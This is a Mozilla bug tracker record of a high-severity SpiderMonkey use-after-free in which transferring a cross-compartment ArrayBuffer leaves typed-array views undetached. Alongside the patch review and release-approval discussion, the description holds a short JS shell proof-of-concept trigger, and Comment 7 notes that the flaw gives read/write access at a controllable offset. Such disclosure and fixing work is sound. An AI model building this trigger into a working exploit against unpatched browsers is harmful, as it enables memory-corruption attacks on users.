Closed
Bug 1288555
Opened 8 years ago
Closed 8 years ago
wrong compartment while structured cloning a cross-compartment ArrayBuffer
Categories
(Core :: JavaScript Engine, defect)
Core
JavaScript Engine
Tracking
()
People
(Reporter: sfink, Assigned: sfink)
References
Details
(Keywords: csectype-other, sec-high, Whiteboard: [post-critsmash-triage][adv-main49+][adv-esr45.4+])
Attachments
(2 files, 2 obsolete files)
(deleted),
patch
|
Waldo
:
review+
|
Details | Diff | Splinter Review |
(deleted),
patch
|
Waldo
:
review+
ritu
:
approval-mozilla-aurora+
ritu
:
approval-mozilla-beta+
ritu
:
approval-mozilla-esr45+
abillings
:
sec-approval+
|
Details | Diff | Splinter Review |
When transferring the contents of an ArrayBuffer during a structured clone, a cross-compartment ArrayBuffer is unwrapped, but then the detach call happens in the original compartment. If there is more than one view on that ArrayBuffer, all views after the second will then fail to be detached (because we have an InnerViewsTable *on the compartment* that holds all views but the first.)
As a result, these views (eg typed arrays) will still have pointers into the ArrayBuffer's data, which is a huge correctness violation as well as a set up for lots of race conditions if the data has been transferred between threads. Furthermore, if the buffer gets GC'd, it's a very controllable UAF.
JS shell example:
b = new ArrayBuffer(100);
ta = new Int32Array(b);
ta[0] = 17;
g = newGlobal();
g.b = b;
ta2 = g.eval("new Int32Array(b)");
g.serialize(b, [b]);
// gc();
print(ta[0]);
print(ta2[0]); // This is 17, should be undefined. With the gc(), it is a UAF and will probably crash.
In the browser, you'd use postMessage to detach the buffer.
Assignee | ||
Comment 1•8 years ago
|
||
[Tracking Requested - why for this release]: This bug goes back to at least Fx45, and is trivially exploitable.
status-firefox47:
--- → affected
status-firefox48:
--- → affected
status-firefox49:
--- → affected
status-firefox50:
--- → affected
status-firefox-esr45:
--- → affected
tracking-firefox47:
--- → ?
tracking-firefox48:
--- → ?
tracking-firefox49:
--- → ?
tracking-firefox50:
--- → ?
tracking-firefox-esr45:
--- → ?
Assignee | ||
Comment 2•8 years ago
|
||
Asking for review on this patch, but I'm not sure in what form we'd want to land this to be discreet. We can discuss that during the approval process. (Same thing for tests. I have a test, but it makes things horribly obvious.)
Attachment #8773527 -
Flags: review?(jwalden+bmo)
Assignee | ||
Updated•8 years ago
|
Assignee: nobody → sphink
Status: NEW → ASSIGNED
Comment 3•8 years ago
|
||
Comment on attachment 8773527 [details] [diff] [review]
Enter the transferred ArrayBuffer's compartment before stealing its data
Review of attachment 8773527 [details] [diff] [review]:
-----------------------------------------------------------------
*gulp* I keep missing when our tracking of buffer views changes. First it was a linked list, then it was something, then something else, now this. CAN'T WE JUST GET IT RIGHT THE FIRST TIME. :-)
::: js/src/vm/ArrayBufferObject.cpp
@@ +1062,1 @@
> MOZ_ASSERT_IF(buf.dataPointer() == nullptr, offset == 0);
The more these build up, the more I prefer #ifdef DEBUG around an if with MOZ_ASSERTs, but this is fine.
Attachment #8773527 -
Flags: review?(jwalden+bmo) → review+
Updated•8 years ago
|
Group: core-security → javascript-core-security
Keywords: csectype-other,
sec-high
Assignee | ||
Comment 4•8 years ago
|
||
MozReview-Commit-ID: 90tALXT2BVr
Attachment #8775698 -
Flags: review?(jwalden+bmo)
Assignee | ||
Updated•8 years ago
|
Attachment #8773527 -
Attachment is obsolete: true
Assignee | ||
Comment 5•8 years ago
|
||
MozReview-Commit-ID: 90tALXT2BVr
Attachment #8775701 -
Flags: review?(jwalden+bmo)
Assignee | ||
Updated•8 years ago
|
Attachment #8775698 -
Attachment is obsolete: true
Attachment #8775698 -
Flags: review?(jwalden+bmo)
Updated•8 years ago
|
Attachment #8775701 -
Flags: review?(jwalden+bmo) → review+
Assignee | ||
Comment 6•8 years ago
|
||
My original comment was a little too revealing.
Attachment #8775728 -
Flags: review?(jwalden+bmo)
Assignee | ||
Comment 7•8 years ago
|
||
Comment on attachment 8775728 [details] [diff] [review]
Version of the patch with a more mundane description
[Security approval request comment]
How easily could an exploit be constructed based on the patch?
If someone is familiar with the security properties of compartments, it's pretty easy. This gives you a read/write UAF with a completely controllable offset.
Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
No, I changed to a less revealing comment.
Which older supported branches are affected by this flaw?
all of them
Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Easy to create. They should be nearly identical, though I suspect enough of the structured clone code will have changed slightly that they might not apply cleanly. I looked back to esr45 and the code is functionally identical.
How likely is this patch to cause regressions; how much testing does it need?
Unlikely. Without this fix, some things would have worked that should not. (Specifically, if you transferred a buffer via postMessage, its views would continue to "work" when they shouldn't.)
[Approval Request Comment]
Fix Landed on Version: not yet landed at this time
Risk to taking this patch (and alternatives if risky): low risk
String or UUID changes made by this patch: none
Approval Request Comment
[Feature/regressing bug #]: 1061404
[User impact if declined]: exploitable UAF
[Describe test coverage new/current, TreeHerder]: it fixes my test case, but I'm afraid to push it to a publicly visible place
[Risks and why]: theoretically somebody could be depending on views of detached buffers working, but if so we need to break them ASAP
[String/UUID change made/needed]: none
Attachment #8775728 -
Flags: sec-approval?
Attachment #8775728 -
Flags: approval-mozilla-release?
Attachment #8775728 -
Flags: approval-mozilla-esr45?
Attachment #8775728 -
Flags: approval-mozilla-beta?
Attachment #8775728 -
Flags: approval-mozilla-aurora?
Updated•8 years ago
|
Attachment #8775728 -
Flags: review?(jwalden+bmo) → review+
Comment 8•8 years ago
|
||
This is pretty bad and revealing from your comments. I'm going to sec-approve for trunk checkin but it needs to wait until August 16 so we're two weeks into the cycle so we don't overly expose this to anyone watching checkins.
Updated•8 years ago
|
Attachment #8775728 -
Flags: sec-approval?
Attachment #8775728 -
Flags: sec-approval+
Attachment #8775728 -
Flags: approval-mozilla-release?
Comment on attachment 8775728 [details] [diff] [review]
Version of the patch with a more mundane description
Sec-high, approving for all affected branches. Based on Al's last comment this ought to be committed on Aug 16th and not before that. Aurora50+, Beta49+, ESR45+
Attachment #8775728 -
Flags: approval-mozilla-esr45?
Attachment #8775728 -
Flags: approval-mozilla-esr45+
Attachment #8775728 -
Flags: approval-mozilla-beta?
Attachment #8775728 -
Flags: approval-mozilla-beta+
Attachment #8775728 -
Flags: approval-mozilla-aurora?
Attachment #8775728 -
Flags: approval-mozilla-aurora+
Assignee | ||
Updated•8 years ago
|
Comment 10•8 years ago
|
||
Whiteboard: [checkin on 8/16]
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
status-firefox51:
--- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla51
Comment 12•8 years ago
|
||
Updated•8 years ago
|
Comment 13•8 years ago
|
||
Updated•8 years ago
|
Group: javascript-core-security → core-security-release
Updated•8 years ago
|
Flags: qe-verify-
Whiteboard: [post-critsmash-triage]
Updated•8 years ago
|
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main49+][adv-esr45.4+]
Updated•8 years ago
|
Group: core-security-release
You need to log in
before you can comment on or make changes to this bug.
Description
•